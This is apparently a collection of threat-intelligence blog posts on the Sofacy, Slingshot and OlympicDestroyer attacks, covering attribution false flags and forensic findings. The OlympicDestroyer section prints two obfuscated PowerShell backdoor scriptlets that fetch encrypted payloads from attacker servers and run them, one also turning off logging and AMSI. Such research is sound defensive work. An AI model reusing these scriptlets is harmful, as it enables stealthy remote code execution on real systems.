  3. a new and unrecognized, full variant of SPLM attempted to inject module code into memory and deleted itself
  4. an unknown new powershell script or legitimate but vulnerable web app was exploited to load and execute this unusual SPLM code

In all likelihood, the last option is accurate.


Sofacy is such a large, active group that appears to maintain multiple sub-groups and efforts that all fit under the Sofacy “umbrella”. Sometimes, they share infrastructure, but more often they do not share infrastructure and appear to compete for access within targets. Either way, the group’s consistent activity throughout central and eastern asia seems to be poorly represented in the public discussion.

SPLM did not change in substantial ways for several years, and now it is being split up and used for just functional modules. And much of the malware being deployed by Sofacy is quickly changed from C/C++ to .Net to powershell. Other open source and semi-legitimate pen-testing tools like nbtscan and powercat are being used for mapping available resources and lateral movement as well. It is easy to expect deliberate changes within this group in 2018, with even more .Net, Delphi,  and powershell ports of various tools appearing at Sofacy targets throughout the year.

Technical Appendix

Early 2018 Reference Set





The Slingshot APT FAQ

Fri, 03/09/2018 - 10:20

While analysing an incident which involved a suspected keylogger, we identified a malicious library able to interact with a virtual file system, which is usually the sign of an advanced APT actor. This turned out to be a malicious loader internally named ‘Slingshot’, part of a new, and highly sophisticated attack platform that rivals Project Sauron and Regin in complexity.

The initial loader replaces the victim´s legitimate Windows library ‘scesrv.dll’ with a malicious one of exactly the same size. Not only that, it interacts with several other modules including a ring-0 loader, kernel-mode network sniffer, own base-independent packer, and virtual filesystem, among others.

While for most victims the infection vector for Slingshot remains unknown, we were able to find several cases where the attackers got access to Mikrotik routers and placed a component downloaded by Winbox Loader, a management suite for Mikrotik routers. In turn, this infected the administrator of the router.

We believe this cluster of activity started in at least 2012 and was still active at the time of this analysis (February 2018).

Why did you call the intruder Slingshot?

The name appears unencrypted in some of the malicious samples – it is the name of one of the threat actor’s components, so we decided to extend it to the APT as a whole.

When was Slingshot active?

The earliest sample we found was compiled in 2012 and the threat was still active in February 2018.

How did the threat attack and infect its victims?

Slingshot is very complex and the developers behind it have clearly spent a great deal of time and money on its creation. Its infection vector is remarkable – and, to the best of our knowledge, unique.

We believe that most of the victims we observed appeared to have been initially infected through a Windows exploit or compromised Mikrotik routers.

How exactly does infection happen?

The exact method used by Slingshot to exploit the routers in the first instance is not yet clear. When the target user runs Winbox Loader software (a utility used for Mikrotik router configuration), this connects to the router and downloads some DLLs (dynamic link libraries) from the router’s file system.

One of them – ipv4.dll – has been placed by the APT with what is, in fact, a downloader for other malicious components. Winbox Loader downloads this ipv4.dll library to the target’s computer, loads it in memory and runs it.

This DLL then connects to a hardcoded IP and port (in every cases we saw it was the router’s IP address), downloads the other malicious components and runs them.

To run its code in kernel mode in the most recent versions of operating systems, that have Driver Signature Enforcement, Slingshot loads signed vulnerable drivers and runs its own code through their vulnerabilities. .

Following infection, Slingshot would load a number of modules onto the victim device, including two huge and powerful ones: Cahnadr, the kernel mode module, and GollumApp, a user mode module. The two modules are connected and able to support each other in information gathering, persistence and data exfiltration.

The most sophisticated module is GollumApp. This contains nearly 1,500 user-code functions and provides most of the above described routines for persistence, file system control and C&C communications.

Canhadr, also known as NDriver, contains low-level routines for network, IO operations and so on. Its kernel-mode program is able to execute malicious code without crashing the whole file system or causing Blue Screen – a remarkable achievement. Written in pure C language, Canhadr/Ndriver provides full access to the hard drive and operating memory despite device security restrictions, and carries out integrity control of various system components to avoid debugging and security detection.

Are Mikrotik the only affected routers?

Some victims may have been infected through other routes. During our research we also found a component called KPWS that turned out to be another downloader for Slingshot components.

Did you inform the affected vendor?

Although the available intelligence is limited and we are not sure what kind of exploit was used to infect routers, we provided Mikrotik with all information available.

What can users of Mikrotik routers do to protect themselves?

Users of Mikrotik routers should upgrade to the latest software version as soon as possible to ensure protection against known vulnerabilities. Further, Mikrotik Winbox no longer downloads anything from the router to the user’s computer.

What are the advantages of achieving kernel mode?

It gives intruders complete control over the victim computer. In kernel mode malware can do everything. There are no restrictions, no limitations, and no protection for the user (or none that the malware can’t easily bypass).

What kind of information does Slingshot appear to be looking for?

Slingshot’s main purpose seems to be cyber-espionage. Analysis suggests it collects screenshots, keyboard data, network data, passwords, USB connections, other desktop activity, clipboard and more, although its kernel access means it can steal whatever it wants.

But with full access to the kernel part of the system, it can steal whatever it wants – credit card numbers, password hashes, social security account numbers – any type of data.

How did Slingshot avoid detection?

The threat actor combined a number of known approaches to protect it very effectively from detection: including encrypting all strings in its modules, calling system services directly in order to bypass security-product hooks, using a number of Anti-bug techniques, and more.

Further, it can shut down its components, but ensure they complete their tasks before closing. This process is triggered when there are signs of an imminent in-system event, such as a system shutdown, and is probably implemented to allow user-mode components of the malware to complete their tasks properly to avoid detection during any forensic research.

You said that it disables disk defragmentation module in Windows OS. Why?

This APT uses its own encrypted file system and this can be located among others in an unused part of a hard drive. During defragmentation, the defrag tool relocates data on disk and this tool can write something to sectors where Slingshot keeps its file systems (because the operating system thinks these sectors are free). This will damage the encrypted file system. We suspect that Slingshot tries to disable defragmentation of these specific areas of the hard drive in order to prevent this from happening.

How does it exfiltrate data?

The malware exfiltrates data through standard networks channels, hiding the traffic being extracted by hooking legitimate call-backs, checking for Slingshot data packages and showing the user (and users’ programs like sniffers and so on) clear traffic without exfiltrated data.

Does it use exploits to zero-day vulnerabilities? Any other exploits?

We haven’t seen Slingshot exploit any zero-days, but that doesn’t mean that it doesn’t – that part of a story is still unclear for us. But it does exploit known vulnerabilities in drivers to pass executable code into kernel mode. These vulnerabilities include CVE-2007-5633; CVE-2010-1592, CVE-2009-0824.

What is the victim profile and target geography?

So far, researchers have seen around 100 victims of Slingshot and its related modules, located in Kenya, Yemen, Afghanistan, Libya, Congo, Jordan, Turkey, Iraq, Sudan, Somalia and Tanzania. Most of the victims appear to be targeted individuals rather than organizations, but there are some government organizations and institutions. Kenya and the Yemen account for most of the victims observed to date.

What do we know about the group behind Slingshot?

The malicious samples investigated by the researchers were marked as ‘version 6.x’, which suggests the threat has existed for a considerable length of time. The development time, skill and cost involved in creating Slingshot’s complex toolset is likely to have been extremely high. Taken together, these clues suggest that the group behind Slingshot is likely to be highly organized and professional and probably state-sponsored.

Text clues in the code suggest it is English-speaking. Some of the techniques used by Slingshot, such as the exploitation of legitimate, yet vulnerable drivers has been seen before in other malware, such as White and Grey Lambert. However, accurate attribution is always hard, if not impossible to determine, and increasingly prone to manipulation and error.

Read more in our technical paper.

The devil’s in the Rich header

Thu, 03/08/2018 - 12:00

In our previous blog, we detailed our findings on the attack against the Pyeongchang 2018 Winter Olympics. For this investigation, our analysts were provided with administrative access to one of the affected servers, located in a hotel based in Pyeongchang county, South Korea. In addition, we collected all available evidence from various private and public sources and worked with several companies to investigate the command and control (C&C) infrastructure associated with the attackers.

During this investigation, one thing stood out – the attackers had pretty good operational security and made almost no mistakes. Some of our colleagues from other companies pointed out similarities with Chinese APT groups and Lazarus. Yet, something about these potential connections didn’t quite add up. This made us look deeper for more clues.

The attackers behind OlympicDestroyer employed several tricks to make it look similar to the malicious samples attributed to the Lazarus group. The main module of OlympicDestroyer carries five additional binaries in its resources, named 101 to 105 respectively. It is already known that resources 102 and 103, with the internal names ‘kiwi86.dll’ and ‘kiwi64.dll’ share considerable amounts of code with other known malware families only because they are built on top of the Mimikatz open-source tool. Resource 105, however is much more interesting in terms of attribution.

Resource 105 is the ‘wiper’ component of OlympicDestroyer. This binary launches a destructive attack on the victim’s network; it removes shadow copy backups, traverses the shared folders on the networks and deletes files. Anyone familiar with the wipers attributed to the Lazarus group will find strong similarities in the file deletion routines:

File deletion routines.
To the left 3c0d740347b0362331c882c2dee96dbf (OlympicDestroyer), on the right 1d0e79feb6d7ed23eb1bf7f257ce4fee (BlueNoroff by Lazarus).

Both functions do essentially the same thing: they delete the file by wiping it with zeroes, using a 4096 bytes memory block. The minor difference here is that the original Bluenoroff routine doesn’t just return after wiping the file, but also renames it to a new random name and then deletes it. So, the similar code may be considered as no more than a weak link.

A much more interesting discovery appeared when we started looking for various kinds of metadata of the PE file. It turned out that that the wiper component of OlympicDestroyer contained the exact ‘Rich’ header that appeared previously in Bluenoroff samples.

MZ DOS and Rich headers of both files (3c0d740347b0362331c882c2dee96dbf – OlympicDestroyer, 5d0ffbc8389f27b0649696f0ef5b3cfe – BlueNoroff) are exactly the same.

This provided us with an interesting clue: if files from both the OlympicDestroyer and Bluenoroff families shared the same Rich header it meant that they were built using the same environment and, having already found some similarities in the code, this could have meant that there is a real link between them. To test this theory, we needed to investigate the contents of the Rich header.

The Rich header is an undocumented structure that appears in most of the PE files generated with the ‘LINK.EXE’ tool by Microsoft. Effectively, any binary built using the standard Microsoft Visual Studio toolset contains this header. There is no official documentation describing this structure, but there is enough public information that can be found on the internet, and there is also the LINK.EXE itself that can be reverse engineered. So, what is a Rich header?

A Rich header is a structure that is written right after the MZ DOS header. It consists of pairs of 4-byte integers. It starts with the magic value, ‘DanS’ and ends with a ‘Rich’ followed by a checksum. And it is also encrypted using a simple XOR operation using the checksum as the key. The data between the magic values encodes the ‘bill of materials’ that were collected by the linker to produce the binary.

Offset First value Second value Description 00 44 61 6E 53 (“DanS”) 00 00 00 00 Beginning of the header 08 00 00 00 00 00 00 00 00 Empty record 10 Tool id, build version Number of items Bill of materials record #1 …       … 52 69 63 68 “Rich” Checksum / XOR key End of the header

The first value of each record is a tool identifier: the unique number of the tool (‘C++ compiler’, ‘C compiler’, ‘resource compiler’, ‘MASM’, etc.), a Visual Studio specific, and the lowest 16 bits of the build number of the tool. The second value is a little-endian integer that is a number of items that were produced by the tool. For example, if the application consists of three source C++ files, there will be a record with a tool id corresponding to the C++ compiler, and the item count will be exactly ‘3’.

The Rich header in OlympicDestroyer’s wiper component can be decoded as follows:

Raw data Type Count Produced by ======================================================== 000C 1C7B 00000001 oldnames 1 12 build 7291 000A 1F6F 0000000B cobj 11 VC 6 (build 8047) 000E 1C83 00000005 masm613 5 MASM 6 (build 7299) 0004 1F6F 00000004 stdlibdll 4 VC 6 (build 8047) 005D 0FC3 00000007 sdk/imp 7 VC 2003 (build 4035) 0001 0000 0000004D imports 77 imports (build 0) 000B 2636 00000003 c++obj 3 VC 6 (build 9782)

It is a typical example of a header for a binary created with Visual Studio 6. The ‘masm613’ items were most likely taken from the standard runtime library, while the items marked as ‘VC 2003’ correspond to libraries imported from a newer Windows SDK – the code uses some Windows API functions that were missing at the time VC 6 was released. So, basically it looks like a C++ application having three source code files and using a slightly newer SDK to link the Windows APIs. The description perfectly matches the contents of the Bluenoroff sample that has the same Rich header (i.e. 5d0ffbc8389f27b0649696f0ef5b3cfe).

We get very different results when trying to check the validity of the Rich header’s entries against the actual contents of OlympicDestroyer wiper’s component. Even a quick visual inspection of the file shows something very unusual for a file created with Visual Studio 6: references to ‘mscoree.dll’ that did not exist at the time.

References to “mscoree.dll” and error messages typical for the MSVC libraries

After some experimentation and careful comparison of binaries generated by different versions of Visual Studio, we can name the actual version of Studio that was used: it is Visual Studio 2010 (MSVC 10). Our best proof is the code of the ___tmainCRTStartup function that is only produced with the runtime library of MSVC 10 (DLL runtime) using default optimizations.

Beginning of the disassembly of the ___tmainCRTStartup function of the OlympicDestroyer’s wiper component, 3c0d740347b0362331c882c2dee96dbf

It is not possible that the binary was produced with a standard linker and was built using the MSVC 2010 runtime, having the 2010’s startup code invoking the WinMain function and at the same time did not have any Rich records referring to VC/VC++ 2010. At the same time, it could not have the same number of Rich records for the VC6 code that is missing from the binary!

A binary produced with Visual Studio 2010 and built from the same code (decompiled), having the same startup code and almost identical to the wiper’s sample will have a Rich header that is totally different:

Raw data Type Count Produced by ================================================================ 009E 9D1B 00000008 masm10 8 VC 2010 (build 40219) 0093 7809 0000000B sdk/imp 11 VC 2008 (build 30729) 0001 0000 00000063 imports 99 imports (build 0) 00AA 9D1B 0000003A cobj 58 VC 2010 (build 40219) 00AB 9D1B 0000000E c++obj 14 VC 2010 (build 40219) 009D 9D1B 00000001 linker 1 157 build 40219

The only reasonable conclusion that can be made is that the Rich header in the wiper was deliberately copied from the Bluenoroff samples; it is a fake and has no connection with the contents of the binary. It is not possible to completely understand the motives of this action, but we know for sure that the creators of OlympicDestroyer intentionally modified their product to resemble the Bluenoroff samples produced by the Lazarus group.

The forgotten sample

During the course of our investigation, we came across a sample that further consolidates the theory of the Rich header false flag from Lazarus.

The sample, 64aa21201bfd88d521fe90d44c7b5dba was uploaded to a multi-scanner service from France on 2018-02-09 13:46:23, as ‘olymp.exe’. This is a version of the wiper malware described above, with several important changes:

  • The 60 minutes delay before shutdown was removed
  • Compilation timestamp is 2018-02-09 10:42:19
  • The Rich header appears legit

The removal of the 60 minutes’ delay indicates the attackers were probably in a rush and didn’t want to wait before shutting down the systems. Also, if true, the compilation timestamp 2018-02-09 10:42:19 puts it right after the attack on the Pyeonchang hotels, which took place at around 9:00 a.m. GMT. This suggests the attackers compiled this ‘special’ sample after the wiping attack against the hotels and, likely as a result of their hurry, forgot to fake the Rich header.


The existence of the fake Rich header from Lazarus samples in the new OlympicDestroyer samples indicates an intricate false flag operation designed to attribute this attack to the Lazarus group. The attackers’ knowledge of the Rich header is complemented by their gamble that a security researcher would discover it and use it for attribution. Although we discovered this overlap on February 13th, it seemed too good to be true. On the contrary, it felt like a false flag from the beginning, which is why we refrained from making any connections with previous operations or threat actors. This newly published research consolidates the theory that blaming the Lazarus group for the attack was parts of the attackers’ strategy.

We would like to ask other researchers around the world to join us in investigating these false flags and attempt to discover more facts about the origin of OlympicDestroyer.

If you would like to read more about Rich header, we can recommend a nice presentation on this from George Webster and Julian Kirsch or Technical University of Munich.


3c0d740347b0362331c882c2dee96dbf – wiper with the fake Lazarus Rich header
64aa21201bfd88d521fe90d44c7b5dba – wiper the original Rich header and no delay before shutdown

OlympicDestroyer is here to trick the industry

Thu, 03/08/2018 - 12:00

A couple of days after the opening ceremony of the Winter Olympics in Pyeongchang, South Korea, we received information from several partners, on the condition of non-disclosure (TLP:Red), about a devastating malware attack on the Olympic infrastructure. A quick peek inside the malware revealed a destructive self-modifying password-stealing self-propagating malicious program, which by any definition sounds pretty bad.

According to media reports, the organizers of the Pyeongchang Olympics confirmed they were investigating a cyberattack that temporarily paralyzed IT systems ahead of official opening ceremonies, shutting down display monitors, killing Wi-Fi, and taking down the Olympics website so that visitors were unable to print tickets. We also found other attempts to wreak havoc at companies working closely with the Winter Olympics.

Malware features

Several files related to the cyberattack were uploaded to VirusTotal on the day of the attack and were quickly picked up by other security researchers. As we were researching this attack, the Cisco Talos team published a brief description of the malware which Talos got from an undisclosed source. In their blog Talos highlighted some similarities between the attack, Netya (Expetr/NotPetya) and BadRabbit (targeted ransomware).

The Talos publication effectively removed the TLP constraint as the information had now become public and could be referenced in this way. However, we decided not to jump to conclusions, especially with regards to attribution, and spent time researching it calmly and methodologically, while we continued to discover more and more false flags and controversies in the malware.

The main malware module is a network worm that consists of multiple components, including a legitimate PsExec tool from SysInternals’ suite, a few credential stealer modules and a wiper. From a technical perspective, the purpose of the malware is to deliver and start the wiper payload which attempts to destroy files on the remote network shares over the next 60 minutes. Meanwhile, the main module collects user passwords from browser and Windows storage and crafts a new generation of the worm that contains old and freshly collected compromised credentials. The new generation of the worm is pushed to accessible local network computers and starts using the PsExec tool, leveraging the collected credentials and current user privileges.

Once the wiper has run for 60 minutes it cleans Windows event logs, resets backups, deletes shadow copies from the file system, disables the recovery item in the Windows boot menu, disables all the services on the system and reboots the computer. Those files on the network shares that it managed to wipe within 60 minutes remain destroyed. The malware doesn’t use any persistence and even contains protection (also a killswitch) against recurring reinfection. Incidentally, only 1MB of the remote files are fully overwritten with zeroes; larger files were wiped with just 1K of zeroes in the header. The local files are not destroyed and the worm doesn’t wipe itself or its components.

Fig.1 OlympicDestroyer component relations

Reconnaissance stage

Several companies have blogged about OlympicDestroyer’s attribution, it’s features and propagation method, but no one has discovered how exactly it was launched and from where. That’s where we had a little bit more luck.

Since December 2017 security researchers have been seeing samples of MS Office documents in spearphishing emails related to the Winter Olympics uploaded to VirusTotal. The documents contained nothing but slightly formatted gibberish to make it look like the text had an encoding problem, encouraging the user to press a button to “Enable Content”.

Fig.2 Screenshot of attachment from a spearphishing email.

When the victim “enables content”, the document starts a cmd.exe with a command line to execute a PowerShell scriptlet that, in turn, downloads and executes a second stage PowerShell scriptlet and, eventually, backdoors the system. The only apparent links between this email campaign and OlympicDestroyer would have been the target, however, we managed to discover a couple of connections between this weaponized document and the attack in Pyeongchang which makes us believe they are related.

For this investigation, our analysts were provided with administrative access to one of the affected servers located in a hotel based in Pyeongchang county, South Korea. A triage analysis was conducted on this Windows server system. The affected company also kindly provided us with the network connections log from their network gateway. Thanks to this, we confirmed the presence of malicious traffic to a malicious command and control server at IP 131.255.*.* which is located in Argentina. The infected host established multiple connections to this server on ports from the following list:

  • 443
  • 4443
  • 8080
  • 8081
  • 8443
  • 8880

The server in Argentina was purchased from a reseller company in Bulgaria, which kindly assisted us in this investigation. The company shared that the server was purchased from Norway, by a person using a Protomail account:

Name: Simon ***

Email: simon***

Last Login Date: 2018-02-07 16:09

IP Address: 82.102.*.* (Norway)

Server purchased on: 2017-10-10

We were able to further connect this to a suspicious looking domain, with a registration address and phone number from Sweden:

Domain: microsoft******[.]com

Registration name: Elvis ****

Email: elvis***

Registration date: 2017-11-28

Before getting suspended in December 2017 for failing the ICANN email verification check, the domain registration was privacy-protected. This shielded the registration data, except the DNS servers, which indicate it was purchased via MonoVM, a VPS for a bitcoin provider:

  • Name Server:[.]com
  • Name Server: monovm.mars.orderbox-dns[.]com
  • Name Server: monovm.mercury.orderbox-dns[.]com
  • Name Server: monovm.venus.orderbox-dns[.]com

Name server history:

Fig.3 Name server history for microsoft*****.com

This email popped up as a contact detail for a small network inside the 89.219.*.* range that is located in Kazakhstan. This is where the trail ends for now. We apologize for not disclosing the full information as we would like to avoid random interactions with this contact. Full information has been provided to law enforcement agencies and customers subscribed to our APT Intel reporting service.

To manage the server in Argentina, Simon *** used the IP address in Norway (82.102.*.*). This is the gateway of a VPN service known as NordVPN ( that offers privacy-protected VPN services for bitcoins.

It’s not the first time the name NordVPN has cropped up in this case. We previously saw a weaponized Word document used in spearphishing emails targeting the Winter Olympics that contained something that looked like garbage text taken from a binary object (e.g. pagefile or even raw disk). However, part of the random data included two clearly readable text strings (highlighted below) that made it into the document (md5: 5ba7ec869c7157efc1e52f5157705867) for no obvious reason:

Fig. 4 A reference to NordVPN openvpn config file

Of course, this is a low confidence indicator, but seems to be another link between the spearphishing campaign on the Winter Olympics and the attackers responsible for launching the OlympicDestroyer worm. In addition, this document includes a PowerShell command that closely resembles the PowerShell backdoor found in the network of the OlympicDestroyer victim. A comparison of this code is available below.

The PowerShell scripts listed below were used in the weaponized documents and as standalone backdoors. As standalone fileless backdoors, they were built and obfuscated using the same tool. Both scripts use a similar URL structure and both implement RC4 in PowerShell, as well as using a secret key passed to the server in base64 via cookies.

Spearphishing case in South Korea Powershell found on OlympicDestroyer victim ( gCi VariABLE:FzS3AV )."VaLUE"::"expecT100cOnTiNUe"=0; ${wC}=^&NEW-ObjecT System.Net.Webclient;${u}=Mozilla/5.0 (Windows NT 6.1;WOW64; Trident/7.0; rv:11.0)like Gecko; ( GCI VARiabLe:fZS3aV )."vAlUe"::"seRVeRCeRTiFICaTEVALIDATIoNCALlbAck" = {${tRUE}}; ${wC}."hEADERs".Add.Invoke(User-Agent,${U}); ${WC}."PROXy"= ( variaBLe ("fX32R") -VAlUeO )::"DefaultWebProxy"; ${wc}."pRoxY"."CREdENtials" = ( GET-vaRiABle ('hE7KU'))."VAlue"::"dEFauLTNeTWOrkCREdENTIALs"; ${K}= $XNLO::"asCiI".GetBytes.Invoke(5e2988cfc41d844e2114dceb8851d0bb); ${R}= { ${D},${K}=${ArGs}; ${s}=0..255;0..255^|^&('%') { ${j}=(${j}+${s}[${_}]+${k}[${_}%${K}."couNt"])%256; ${s}[${_}],${S}[${J}]=${s}[${J}],${S}[${_}] }; ${d}^|^&('%') { ${I}=(${I}+1)%256; ${h}=(${H}+${s}[${I}])%256; ${S}[${I}],${s}[${H}]=${s}[${H}],${S}[${I}]; ${_}-BxoR${S}[(${s}[${I}]+${S}[${H}])%256]} }; ${Wc}."hEadeRS".Add.Invoke(cookie,session=ABWjqj0NiqToVn0TW2FTlHIAApw=); ${SER}=https://minibo***[.]cl:443; ${T}=/components/com_tags/controllers/default_tags.php; ${dATa}=${Wc}.DownloadData.Invoke(${seR}+${T}); ${IV}=${DATA}[0..3]; ${dAta}=${DaTA}[4..${dAtA}.length]; -jOin[ChaR[]](^& ${R} ${DAtA} (${IV}+${K}))^|.IEX &&SeT RMN=ecHo InvoKe-expRESsIon ([ENVirOnMeNt]::gETeNvIroNMENTvarIaBlE('svTI','procEsS')) ^| pOWErshEll -NOnint -wiNdOWSt hiddeN -NoEXiT -NoprOFilE -ExECuTiONPOLIcy bYpASs - && CMd.exE /c%Rmn% If($PSVERsIoNTAbLe.PSVeRsIon.MAJOR -Ge 3){$GPS=[ReF].ASSEmbly.GETTYPE('System.Management.Automation.Utils')."GeTFie`Ld"('cachedGroupPolicySettings','N'+'onPublic,Static').GEtVALUe($NulL); If($GPS['ScriptB'+'lockLogging']){$GPS['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0; $GPS['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}ElSE{[ScriptBlOcK]."GeTFiE`Ld"('signatures','N'+'onPublic,Static').SETValUE($NUlL,(New-ObJecT CoLLectIOnS.GeNeRIC.HAshSet[stRing]))}[ReF].AssEmbLY.GETTYPe('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GEtField('amsiInitFailed','NonPublic,Static').SEtVALue($nULL,$TRuE)}; }; [SYStem.NeT.SerVicePoinTMANAGeR]::EXPeCt100ConTINuE=0; $wC=NeW-ObJect SySTem.NEt.WEBClIeNT; $u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; $Wc.HEADErS.Add('User-Agent',$u); $wC.ProXY=[SYsTeM.NET.WeBREqUesT]::DEFAUltWebPROXY; $wC.PROxY.CredentIAlS = [SYsTem.NEt.CRedeNTialCacHe]::DeFAuLTNeTwoRKCredeNtiAls; $Script:Proxy = $wc.Proxy; $K=[SysTEM.Text.ENcOding]::ASCII.GETBYTes('94+K/L3OE?o@qRl>.:FPev7rtNb^|#im'); $R= { $D,$K=$ARgs; $S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.COuNt])%256; $S[$_],$S[$J]=$S[$J],$S[$_]}; $D|% { $I=($I+1)%256; $H=($H+$S[$I])%256; $S[$I],$S[$H]=$S[$H],$S[$I]; $_-bxor$S[($S[$I]+$S[$H])%256] } }; $ser='http://131.255.*.*:8081'; $t='/admin/get.php'; $wc.HeAders.Add("Cookie","session=zt8VX24Knnzen8pNvhPl1xJ2E5s="); $daTA=$WC.DownlOADDATA($ser+$t); $iV=$DATa[0..3]; $datA=$dATa[4..$data.leNgth]; -joiN[CHAR[]](& $R $dAta ($IV+$K))|IEX Lateral movement

Despite the network worm’s self-replicating feature, the attackers did some manual lateral movement before starting on the destructive malware. We believe this was done to look for a better spot to release the worm. They seemed to be moving through the network via Psexec and stolen credentials, opening a default meterpreter port (TCP 4444) and downloading and running a backdoor (meterpreter). The attackers also checked the network configuration, potentially searching for servers attached to multiple networks or VPN links in order to penetrate adjacent networks that could be linked to the Olympic Committee infrastructure.

One of the hosts in the network of the affected ski resort hotel had Kaspersky Lab’s system watcher component enabled, which collected quite a few of the artifacts used by the attackers for lateral movement. According to the telemetry from this host, the attackers entered the system on 6 February, 2018. They used three types of PowerShell scriptlets: TCP 4444 port opener, ipconfig launcher and a downloader.

Based on telemetry we received from one of the hosts, we built a timeline of the attackers’ activity and a histogram showing when the attackers started executables on the system.

Fig.5 Histogram with attacker activity per hour of day

From this we can see that the attackers were mostly busy outside of office hours according to Korean Standard Time (UTC+9), perhaps to attract less attention or simply due to their own timezone.

Worm propagation

OlympicDestroyer is a network worm that collects user credentials with hostnames. New data is appended to the end of an existing collection. Having multiple samples of the worm from different networks allows us to reconstruct the path of the worm and find the source of distribution (or at least its hostname and list of users).

Fig.6 OlympicDestroyer worm propagation

The diagram above was built based on extracted lists of credentials with hostnames and some alleged roles of the servers based on respective names. We can see there were at least three independent launch pads for the worm: company, ski resort hotels, and the server.

At some point, samples with a list of credentials were uploaded to VirusTotal where they were found by security researchers that executed the worm in a sandbox environment and uploaded the new generation on VirusTotal again. There are a number of samples on VT that contain credentials from those sandbox machines. Nevertheless, it’s clear the network worm wasn’t started there initially, but was instead coming from one of the known launch pads.


Spearphishing emails were used to target the networks of official partners of the Winter Olympics. The attackers probably went to the official website to find out the names of the partner companies, figured out their domain names, collected known email addresses and started bombarding them with spearphishes.

One of these weaponized documents was uploaded to VT from South Korea on 29 December, 2017 inside an email file (6b728d2966194968d12c56f8e3691855). The sender address imitates the South Korean NCTC (National Counter-Terrorism Center), while the sender’s server IP originates from a server in Singapore.

Fig.7 Fake sender address.

The email appears to have been sent to icehockey@pyeongchang2018[.]com. However, the real targets are in the following list:

Industry Target Company/Organization Domain Government organization Enterprise Energy Semiconductor Transport Hospital Media Advertising (LED display company) (LED Panel Advertising company email) Resort/Hotel

The attackers appear to have got sloppy when they searched for email addresses that ended with those targeted domains. Using short domain names such as or wasn’t a good idea. This went unnoticed and a few totally unrelated companies with domain names ending with and received spearphishing emails:

  • krovy-com (Wood company in Slovakia)
  • okc-com (Mining-related company in Canada)
  • bcel-com (Finance company in Laos)
  • kuhlecom (Software company in Australia)
  • wertprojecom (Real estate company in Germany)

Based on all the evidence we discovered, the following networks seem to have been breached in the attack:

  • Software vendor responsible for automation at ski resorts
  • Two ski resort hotels in South Korea
  • IT service provider ( headquartered in France
  • com attached network

Considering the malware was spread as a network worm via Windows network shares, collateral damage was inevitable. Through one of the victims who uploaded the dropper file to VT from Austria, we were able to extract the hostname from the stolen credentials stored in the malware: ATVIES2BQA. While it may look like a random sequence of characters at first glance, we speculate that AT stands for the host country code (Austria) which matches the submitter source country, followed by the organization name “VIES” with some extra random characters uniquely identifying the host. According to OSINT, there is only one large organization that matches this name in Austria – the VAT Information Exchange System used throughout the European Union. VIES is a search engine owned by the European Commission. So, it’s either a compromised host of Atos which role is to communicate with the Austrian VIES or the Austrian VIES indeed is indeed in collateral damage of the malware’s network propagation.

But the main outbreak of the worm that we investigated was at a hotel in a South Korean winter resort. The hotel didn´t upload any samples to VT, which is why it remained unknown. We assume many other companies attacked in South Korea did the same, which reduced the visible surface of the attacked infrastructure.

While we cannot name the hotel chain, we can say that one of its hotels located in a ski resort in Pyeongchang was subjected to an attack. Despite the close proximity to the Olympic Games, the resort was not one of the official winter parks staging the games. However, it is definitely part of the surrounding infrastructure that hosted numerous guests and possibly even sports teams competing at the Olympics. In an interview with the owners, we found out that the malware disabled ski gates and ski lifts that were operated from one of the attacked servers. Our analysis showed that this was not collateral damage. The attackers deliberately chose to start the spread of the destructive worm from this dedicated ski resort automation server. That server was the so-called patient-zero in the network. The timing was also chosen to precede the official opening ceremony by a couple of hours, allowing the worm to propagate deep enough into networks to cause maximum inconvenience for those using the affected infrastructure. As a matter of fact, the plan was to let the worm gain better visibility in the news.

Attribution hell

In their blog the Cisco Talos researchers also pointed out that OlympicDestroyer used similar techniques to Badrabbit and NotPetya to reset the event log and delete backups. Although the intention and purpose of both implementations of the techniques are similar, there are many differences in the code semantics. It’s definitely not copy-pasted code and because the command lines were publicly discussed on security blogs, these simple techniques became available to anyone who wants to use them.

Fig.8 Event logs cleaning and disabling system recovery in OlympicDestroyer and NotPetya

Soon after the Talos publication, Israeli company IntezerLabs tweeted that they had found links to Chinese APT groups.

Fig.9 Announcement of connection to Chinese APTs by IntezerLabs on 12 Feb, 2018

IntezerLabs released a blogpost with an analysis of features found using their in-house malware similarity technology.

A few days later media outlets started publishing articles suggesting potential motives and activities by Russian APT groups: “Crowdstrike Intelligence said that in November and December of 2017 it had observed a credential harvesting operation operating in the international sporting sector. At the time it attributed this operation to Russian hacking group Fancy Bear”…”.

On the other hand, Crowdstrike’s own VP of Intelligence, Adam Meyers, in an interview with the media said: “There is no evidence connecting Fancy Bear to the Olympic attack”.

However, a couple of weeks later, the Russian trace was brought up again by the Washington Post, which claimed that Russian military spies were behind the Winter Olympics attack, citing “two U.S. officials who spoke on the condition of anonymity”. Unfortunately, such articles based on anonymous sources contain no verifiable information and bring no real answers – they only spread rumors.

Microsoft’s security team also seems to have been tricked by the malware as their internal detection was triggered on the potential use of EternalRomance exploit (MS17-010).

Fig.10 Microsoft security team claims they found EternalRomance in OlympicDestroyer

A couple of days later Microsoft had to retract those claims as they were simply not confirmed.

Fig.11 Microsoft security team retracts previous claims in a subsequent tweet

The day after we released a private report with forensic findings and detailed analysis of this attribution hell to our APT Intel subscribers (for more information please contact:, the Cisco Talos team decided to revisit OlympicDestroyer and go public with a similar review. We сan’t help but agree with this nice write-up with code comparison, because we came to very similar conclusions.

In addition, Talos researchers noted that the evtchk.txt filename, which the malware used as a potential false-flag during its operation, was very similar to the filenames (evtdiag.exe, evtsys.exe and evtchk.bat) used by BlueNoroff/Lazarus in the Bangladesh SWIFT cyberheist in 2016.

Recorded Future decided to not attribute this attack to any actor; however, they claimed that they found similarities to BlueNoroff/Lazarus LimaCharlie malware loaders that are widely believed to be North Korean actors.

We can’t dispute that part of the code really does resemble the Lazarus code. The wiper modules used in OlympicDestroyer (MD5: 3c0d740347b0362331c882c2dee96dbf) and Bluenoroff (MD5: 5d0ffbc8389f27b0649696f0ef5b3cfe) used similar code to wipe files.

Fig.12 Comparison of wiping module (left: Bluenoroff tool; right: OlympicDestroyer)

